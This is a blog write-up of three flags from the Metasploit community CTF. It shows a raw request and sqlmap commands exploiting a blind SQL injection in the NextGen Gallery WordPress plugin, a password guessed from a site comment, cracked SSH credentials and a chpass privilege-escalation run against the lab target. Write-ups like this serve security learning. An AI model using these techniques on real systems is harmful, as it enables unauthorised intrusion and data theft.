This past weekend I worked on the Metasploit community CTF with the CTF_Circle team. As a group we finished 9th overall! The rest of this post includes a write up of three flags the team captured (out of the seven total). Capturing all three of these flags was a collaborative team effort, which is one of the highlights for me of working with CTF_Circle.
This CTF (capture the flag) provided teams with two EC2 instances: a Kali Linux jump box and a target box. The target box ran several services that hid PNG images of playing cards that were the flags. Exploiting vulnerabilites, or in some cases sniffing traffic, enabled us to find the flags. Once we found a flag, we submitted the md5 checksum to get points.
Queen of Hearts
Using nmap, we found that port 8000 on the target box was running a WordPress site about Giraffes:
$ nmap -A target ... 8000/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-generator: WordPress 5.3.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Lovely Giraffes – Everything about giraffes… |_http-trane-info: Problem with XML parsing of /evox/about
The WordPress site has WP_SITEURL set to http://127.0.0.1:8000, which meant that all the subresources (e.g. scripts, style sheets, images) did not load and that links were broken. Adding a rewrite rule in Burp Suite to rewrite these urls back to http://target:8000 fixed the links.
Visiting the site showed a Giraffe gallery site. Poking around there was a single post with a comment that referenced the password.
$ curl target:8000/?page_id=2 | grep comments ... target:8000/?feed=comments-rss2 ... $ curl target:8000/?feed=comments-rss2 | grep password # refers to melman > Hey! I forgot to say, your account “melman” is still valid with the the same password, your last name.
Googling melman leads to the Madagascar movie character: Melman Mankiewicz III. So the WordPress username and password are: melman/mankiewicz. These can be used at http://target:8000/wp-admin to sign in. The melman user did not have permission to upload plugins. The Nextgen Gallery was installed, version 3.2.10, and it has a blind SQL injection vulnerability!
$ curl target:8000/ | grep wp-content/plugins <link rel='stylesheet' id='nextgen_widgets_style-css' href='http://127.0.0.1:8000/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/widget/static/widgets.css?ver=3.2.10' type='text/css' media='all' />
Exploiting the SQLi vulnerability required creating a new post, attaching a nextgen gallery, and then sorting the images in the gallery, which triggered a POST request to the backend that has the SQLi vulnerability.
POST /index.php?photocrati_ajax=1 HTTP/1.1 ... Cookie: wordpress_test_cookie=WP+Cookie+check;... action=get_displayed_gallery_entities&limit=5000&offset=0&nonce=2900d93354&displayed_gallery%5Bsource%5D=galleries&displayed_gallery%5Bcontainer_ids%5D%5B%5D=2&displayed_gallery%5Bdisplay_type%5D=photocrati-nextgen_basic_thumbnails&displayed_gallery%5Bslug%5D=&displayed_gallery%5Border_by%5D=img&displayed_gallery%5Border_direction%5D=ASC&displayed_gallery%5Breturns%5D=included&displayed_gallery%5Bmaximum_entity_count%5D=500&displayed_gallery%5B__defaults_set%5D=true
The displayed_gallery%5Border_by%5D=img post parameter is exploitable as a blind SQL injection. Using sqlmap we can use the blind injection to find data in the database. We set displayed_gallery%5Border_by%5D=%INJECT HERE% in the request body given to sqlmap and otherwise copy+pasted the raw request from burp. This is the command we ran to enumerate databases (we know wordpress uses mysql) and tables in the database server.
$ sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment --dbs --tables
That showed there was a database called flag_card (in addition to the wordpress database) with a table called card. Using sqlmap we can dump that table, which showed that there was a value in the image column that was >90k long and it started calculating the value.
sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment -D flag_card -T card
Using the blind SQLi it was calculating ~1 character/second, so this was going to take 25+ hours. That's when echo had a brilliant suggestion to md5 the content in the database, then brute force the md5 sum since that is only 32 characters. We patched sqlmap to always wrap the image column in a MD5() call (please tweet me if there is a better way to do this with sqlmap!):
diff --git a/lib/core/agent.py b/lib/core/agent.py index aad9db4b0..189262695 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -595,6 +595,9 @@ class Agent(object): Note: used primarily in dumping of custom tables """ + if field == 'image': + return 'MD5(image)' + retVal = field if conf.db and table and conf.db in table: table = table.split(conf.db)[-1].strip('.')
Rerunning the sqlmap command with this patch, it finished very quickly and displayed the card name and md5, which we submitted!
Database: flag_card Table: card [1 entry] +----+-----------------+----------------------------------+ | id | name | image | +----+-----------------+----------------------------------+ | 1 | Queen of Hearts | 111b62aef6e0a5ea78fe7485fc9b3333 | +----+-----------------+----------------------------------+
7 of Diamonds
Capturing this flag started with capturing the 2 of Diamonds flag, which was a repeat from the 2018 Metasploit community CTF. We downloaded the /etc/passwd file from the target 4.3BSD/VAX system and then ran John the Ripper over it to get passwords. These passwords enabled us to SSH into port 22 on the target box:
$ nmap -A target ... 22/tcp open ssh OpenSSH 8.1 (protocol 2.0) | ssh-hostkey: | 3072 44:88:8c:e3:81:67:0e:5c:84:2e:54:b8:8f:17:b4:48 (RSA) | 256 08:7a:50:9d:67:c9:25:20:89:07:85:98:c0:34:9c:9f (ECDSA) |_ 256 ad:df:2c:68:bc:12:49:75:c6:d4:05:5c:f5:d2:6b:be (ED25519)
That was an OpenBSD 6.6 system. The ken user was in the wheel group and Ken's password is Ken Thompson's Unix password. Signing in as Ken, we were able to exploit a privilege escalation to gain root access to the system (signing in as any user would have worked), and after some searching found a bare git repo at /root/hai. There is also a RCE in OpenSMTPd in this version of OpenBSD that would have enabled root access.
$ ssh ken@target # password: p/q2-q4! $ cd exp $ ./exp /usr/bin/chpass # cd /root # file hai hai: Git bundle
We copied that bare git repo back to the jump box and then were able to generate the 7 of Diamonds by concatenating the /whats-this file from: the master branch, then the nothing-to-see-here branch, and finally from a base64 encoded blob in a commit message in the nothing-to-see-here branch. Opening just the /whats-this this file from master only showed about half of the card, so this was a fun challenge to get the other pieces!
$ git clone hai hai-clone $ cd hai-clone $ cat whats-this > 7-of-diamonds.png $ git branch -r origin/HEAD -> origin/master origin/master origin/nothing-to-see-here $ git checkout nothing-to-see-here $ cat whats-this >> 7-of-diamonds.png $ git log # then scroll through the log messages to find a base64 text wall $ git log --format=%B -n 1 7cadeef01e867da960cae432000796879b77f59a | base64 -d >> 7-of-diamonds.png $ md5sum 7-of-diamonds.png ca7c8f05fc082f0b2127dd0a40c80f21 7-of-diamonds.png
Ace of Spades
Another file we found while searching the OpenBSD system was /etc/flag, which was hexdump -C output of a PNG file:
$ head -1 /etc/flag 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| ...
We copied that to kali as etcflag and then used this python code to remove everything except the hex.
with open('etcflag') as fp: with open('etcflag.just_hex', 'w') as fp2: for l in fp.readlines(): fp2.write(l[10:58]) fp2.write('\n')
Then we reversed the hex with xxd to get the original image and the flag!
$ xxd -p -r etcflag.just_hex ace-of-spades.png $ md5sum ace-of-spades.png eb8166c746b9f66297174e9073ce0fea ace-of-spades.png
Better Puppet Module Development through Testing - CasitConf 2013
Quickly validate puppet manifests in a git repo.
I have been bitten on more than one occasion with a forgotten curly brace or missing comma in a puppet manifest. So, I wrote a little git post-commit script that will validate all manifests in a repo. I have tested it on a repo with ~60 modules and ~400 manifests …read more
My first puppet forge contribution: redis
Fixing Master Boot Record on Windows 7
I recently removed the linux partition from my desktop. I had a linux partition, but it made sense to just use one windows partition and run linux in a vm.
Removing the partition is not a big deal. I just used the Windows Disk Management tool to remove the linux …read more
Monitoring RabbitMQ Queues with Zabbix
I was looking for a solution that did not require additional plugins or packages, but would perform well. Some useful tools for monitoring include: the …read more
Jenkins Windows Slave with Git
There are some articles out there about setting up Jenkins slaves on Windows. This is one more, with a bunch of information about configuring Git. The documentation for setting up Git to work well with Jenkins is surprisingly sparse and the process is extremely frustrating (in my experience). Hopefully this …read more